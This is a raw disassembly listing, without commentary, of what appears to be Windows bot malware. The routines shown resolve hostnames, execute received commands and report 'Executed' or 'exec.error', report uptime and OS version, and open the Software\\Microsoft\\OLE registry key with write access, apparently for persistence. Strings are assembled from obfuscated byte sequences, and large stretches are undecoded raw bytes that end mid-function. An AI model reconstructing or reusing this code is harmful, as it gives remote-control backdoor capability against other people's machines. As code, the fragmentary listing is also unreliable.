mov byte ptr [esp+17Ch+var_4], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
setz [esp+178h+var_14D]
call sub_401226
mov al, [esp+178h+var_14D]
test al, al
jz short loc_4051F4
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_11C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_4051F4: ; CODE XREF: sub_404C70+56Ej
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_164]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Ch
call sub_4017E4
push eax
nop
call near ptr 71AB2BF4h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_104], eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
mov eax, [esp+178h+var_104]
or ebp, 0FFFFFFFFh
cmp eax, ebp
jz loc_4052C7
push 2
lea eax, [esp+17Ch+var_104]
push 4
push eax
nop
call near ptr 71ABE479h
mov edi, eax
test edi, edi
jz loc_4053A8
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov edx, [edi]
mov ecx, eax
push edx
mov byte ptr [esp+17Ch+var_4], 0Dh
call sub_4017E4
push eax
lea eax, [esp+180h+var_11C]
push offset aSResolvedS ; "%s resolved %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
jmp loc_40540E
; ---------------------------------------------------------------------------
loc_4052C7: ; CODE XREF: sub_404C70+5CAj
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 0Eh
call sub_4017E4
push eax
nop
call near ptr 71AB4FD4h
lea ecx, [esp+178h+var_164]
mov edi, eax
mov byte ptr [esp+178h+var_4], bl
call sub_401226
test edi, edi
jz loc_4053A8
mov ecx, [edi+0Ch]
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_164]
push 1
mov edx, [ecx]
push eax
mov ecx, esi
mov edi, [edx]
call sub_4016AE
mov ebp, eax
push edi
mov byte ptr [esp+17Ch+var_4], 0Fh
nop
call near ptr 71AB3F41h
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esp+180h+var_11C]
push offset aSS_1 ; "%s -> %s"
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4053A8: ; CODE XREF: sub_404C70+5E3j
; sub_404C70+694j
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 10h
call sub_4017E4
push eax
lea edx, [esp+17Ch+var_11C]
push offset aResolve_errorS ; "resolve.error %s."
push edx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_40540E: ; CODE XREF: sub_404C70+652j
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_11C]
mov bl, al
mov [esp+178h+var_4], ebp
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405431: ; CODE XREF: sub_404C70+50Fj
lea ecx, [edi+0BCDh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405522
lea ecx, [edi+9]
call sub_4017E4
lea edx, [esp+178h+var_164]
push eax
push edx
call sub_402022
add esp, 8
push 0
push 25h
push 1Dh
push 23h
lea eax, [esp+188h+var_14C]
mov ebx, 11h
push 28h
push eax
mov [esp+190h+var_4], ebx
call sub_4019B5
add esp, 18h
mov esi, eax
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 12h
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60A5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
push 20h
lea ecx, [esp+17Ch+var_14C]
push 0
push ecx
lea ecx, [esp+184h+var_164]
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 13h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E75
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405522: ; CODE XREF: sub_404C70+7D6j
lea ecx, [edi+0E23h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405690
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
mov ecx, ebp
mov [esp+178h+var_4], 14h
call sub_4013D9
mov ecx, edi
mov ebx, eax
call sub_4013D9
mov ecx, esi
lea edi, [ebx+eax+3]
call sub_4013D9
cmp eax, edi
lea ecx, [esp+178h+var_11C]
setle bl
or edi, 0FFFFFFFFh
mov [esp+178h+var_4], edi
call sub_401226
test bl, bl
jnz loc_405673
lea ecx, [esp+178h+var_14C]
call sub_401424
mov ecx, ebp
mov [esp+178h+var_4], 15h
call sub_4013D9
add eax, 2
mov ecx, esi
push eax
call sub_40146F
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_4015D7
lea ecx, [esp+178h+var_164]
call sub_401424
lea ecx, [esp+178h+var_14C]
mov byte ptr [esp+178h+var_4], 16h
call sub_4017E4
push eax
lea eax, [esp+17Ch+var_164]
push offset aExecutedS_ ; "Executed: %s."
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 77C293C7h
add esp, 4
cmp eax, edi
lea ecx, [esi+69h]
jnz short loc_40562A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
jmp short loc_405648
; ---------------------------------------------------------------------------
loc_40562A: ; CODE XREF: sub_404C70+99Dj
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
loc_405648: ; CODE XREF: sub_404C70+9B8j
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 15h
call sub_401226
mov [esp+178h+var_4], edi
lea ecx, [esp+178h+var_14C]
loc_40566E: ; CODE XREF: sub_404C70+1D4j
; sub_404C70+2AFj ...
call sub_401226
loc_405673: ; CODE XREF: sub_404C70+922j
; sub_404C70+C70j
xor al, al
loc_405675: ; CODE XREF: sub_404C70+6Fj
; sub_404C70+200j ...
mov ecx, [esp+178h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 168h
retn 4
; ---------------------------------------------------------------------------
loc_405690: ; CODE XREF: sub_404C70+8C7j
lea ecx, [edi+0C85h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_405706
lea edx, [esp+178h+var_164]
mov ecx, edi
push edx
call sub_401F3C
mov edi, eax
lea ecx, [esi+69h]
mov [esp+178h+var_4], 17h
call sub_4014D3
push eax
mov ecx, edi
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov bl, al
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405706: ; CODE XREF: sub_404C70+A35j
lea ecx, [edi+0CE1h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4057F7
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 1
push edx
mov ecx, esi
call sub_4011EA
push 20h
lea ecx, [esp+17Ch+var_164]
push 0
push ecx
mov ecx, eax
mov [esp+184h+var_4], 18h
call sub_4012B2
mov ecx, eax
mov byte ptr [esp+178h+var_4], 19h
call sub_4017E4
push eax
push offset aS ; "%s"
push offset byte_4E6E75
call sub_40102D
add esp, 0Ch
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 18h
call sub_401226
or edi, 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], edi
call sub_401226
push 0
push 25h
push 1Dh
push 23h
lea edx, [esp+188h+var_164]
push 28h
push edx
call sub_4019B5
add esp, 18h
mov esi, eax
mov ecx, offset byte_4E6E75
mov [esp+178h+var_4], 1Ah
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSS_0 ; "%s %s\r\n"
push offset byte_4D60A5
call sub_401E0B
add esp, 10h
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], edi
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4057F7: ; CODE XREF: sub_404C70+AABj
lea ecx, [edi+0CB3h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4058CB
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_14C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+178h+var_4], 1Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
or ebp, 0FFFFFFFFh
add esp, 4
lea ecx, [esp+178h+var_14C]
mov ebx, eax
mov [esp+178h+var_4], ebp
call sub_401226
test ebx, ebx
jnz short loc_40585F
mov ebx, 7
loc_40585F: ; CODE XREF: sub_404C70+BE8j
lea ecx, [esp+178h+var_164]
push ebx
push ecx
mov ecx, edi
call sub_40194C
push offset byte_446F60
lea ecx, [esp+17Ch+var_164]
mov [esp+17Ch+var_4], 1Ch
call sub_4012EE
test eax, eax
jz short loc_4058B4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
loc_4058B4: ; CODE XREF: sub_404C70+C17j
lea ecx, [esp+178h+var_164]
mov [esp+178h+var_4], ebp
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_4058CB: ; CODE XREF: sub_404C70+B9Cj
lea ecx, [edi+0DF5h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405673
lea ecx, [esp+178h+var_100]
call sub_401424
push 0
push 0Eh
push 15h
push 2Ch
push 50h
push 0Eh
push 0Fh
push 9
push 13h
push 12h
push 5
push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4019B5
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_100]
call sub_401A87
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_401226
mov edi, offset aN ; "N"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, dword_50F75C
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 20019h
push eax
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1B4h+var_178]
push 1Fh
push edx
call sub_4019B5
add esp, 30h
lea ecx, [esp+18Ch+var_A0]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov [esp+19Ch+var_18], 1Fh
call sub_4017E4
mov edx, [esp+19Ch+var_17C]
push eax
push edx
nop
call near ptr 2920000h
lea ecx, [esp+1A4h+var_190]
mov [esp+1A4h+var_30], 1Dh
call sub_401226
mov eax, [esp+1A4h+var_194]
mov edi, dword_50F738
push eax
call edi
lea ecx, [esp+1A8h+var_198]
push ecx
push 0F003Fh
push 0
lea ecx, [esp+1B4h+var_130]
call sub_4017E4
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+1E0h+var_1A8]
push 2Dh
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1BCh+var_48], 20h
call sub_4017E4
mov ebp, dword_50F764
push eax
mov eax, [esp+1C0h+var_1AC]
push eax
call ebp
lea ecx, [esp+1C4h+var_1B0]
mov [esp+1C4h+var_50], 1Dh
call sub_401226
mov ecx, [esp+1C4h+var_1B4]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+1ECh+var_1B4]
push 9
push edx
call sub_4019B5
add esp, 2Ch
mov ecx, eax
mov [esp+1C8h+var_54], 21h
call sub_4017E4
push eax
call sub_4015FA
sub_404C70 endp
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh
dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23DA4B8h
dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h
dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh
dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
dd 50FFFFBAh, 3CADE8E8h, 548D9002h, 4C8D1024h, 68527824h
dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h
dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h
dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h
dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch
dd 9050FFFFh, 3DA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h
dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0A2E850FFh
dd 90023CACh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
dd 3DA233E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh
dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h
dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh
dd 44244C8Dh, 0FFB84CE8h, 62E850FFh, 90023CABh, 10244C8Dh
dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h
dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h
dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h
dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
dd 4AE84C24h, 50FFFFBDh, 0A0E6E890h, 6A023Dh, 186A056Ah
dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh
dd 0AA13E850h, 8D90023Ch, 8D102454h, 5278244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h
dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h
dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
dd 0AE84C24h, 50FFFFBCh, 9FA6E890h, 6A023Dh, 186A056Ah
dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
dd 0D2E89050h, 8D023CA8h, 8D102444h, 5078244Ch, 0F003F68h
dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h
dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch
dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh
dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_4066E0 proc near ; CODE XREF: sub_40194Cj
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4066E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_401424
mov esi, [esp+38h+arg_4]
mov ebp, 1
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406731
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_4020F4
mov [esp+38h+var_28], ebp
jmp loc_4067D7
; ---------------------------------------------------------------------------
loc_406731: ; CODE XREF: sub_4066E0+3Aj
nop
call near ptr 27D091Eh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_4067C3
mov eax, ecx
mov ecx, 15180h
cdq
idiv ecx
mov esi, 0E10h
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push offset aUpDdDhDm ; "up: %dd %dh %dm"
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_4014C9
jmp short loc_4067D3
; ---------------------------------------------------------------------------
loc_4067C3: ; CODE XREF: sub_4066E0+7Cj
mov esi, [esp+38h+arg_0]
push offset byte_446F60
mov ecx, esi
call sub_401861
loc_4067D3: ; CODE XREF: sub_4066E0+E1j
mov [esp+38h+var_28], ebp
loc_4067D7: ; CODE XREF: sub_4066E0+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_401226
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_4066E0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406850: ; CODE XREF: ___:00401668j
push ecx
push esi
mov esi, [esp+0Ch]
push offset byte_446F60
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_401861
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406890 proc near ; CODE XREF: sub_401F3Cj
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_406890
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_401424
mov [esp+1A4h+var_4], 1
nop
call near ptr 27D091Eh
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
nop
call near ptr 2810000h
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
nop
call near ptr 2800000h
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40695E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406946
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406936
mov ebp, offset a95 ; "95"
jmp loc_4069D1
; ---------------------------------------------------------------------------
loc_406936: ; CODE XREF: sub_406890+9Aj
cmp eax, 2
jnz loc_4069CD
mov ebp, offset aNt ; "NT"
jmp short loc_40699A
; ---------------------------------------------------------------------------
loc_406946: ; CODE XREF: sub_406890+8Ej
cmp eax, 0Ah
jnz short loc_406952
mov ebp, offset a98 ; "98"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406952: ; CODE XREF: sub_406890+B9j
cmp eax, 5Ah
jnz short loc_40698B
mov ebp, offset aMe ; "ME"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_40695E: ; CODE XREF: sub_406890+83j
cmp eax, 5
jnz short loc_40698B
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406975
mov ebp, offset a2000 ; "2000"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406975: ; CODE XREF: sub_406890+DCj
cmp eax, 1
jnz short loc_406981
mov ebp, offset aXp ; "XP"
jmp short loc_406990
; ---------------------------------------------------------------------------
loc_406981: ; CODE XREF: sub_406890+E8j
cmp eax, 2
mov ebp, offset a2003 ; "2003"
jz short loc_406990
loc_40698B: ; CODE XREF: sub_406890+C5j
; sub_406890+D1j
mov ebp, offset a??? ; "???"
loc_406990: ; CODE XREF: sub_406890+C0j
; sub_406890+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_4069D1
loc_40699A: ; CODE XREF: sub_406890+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_4069D1
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset aSS_2 ; "%s [%s]"
push edx
nop
call near ptr byte_5EA1BD
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_4069D1
; ---------------------------------------------------------------------------
loc_4069CD: ; CODE XREF: sub_406890+A9j
mov ebp, [esp+1A4h+var_198]
loc_4069D1: ; CODE XREF: sub_406890+A1j
; sub_406890+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
nop
call near ptr 27F11D9h
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
nop
call near ptr 2900DC0h
mov eax, esi
mov ecx, 15180h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov edi, 0E10h
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
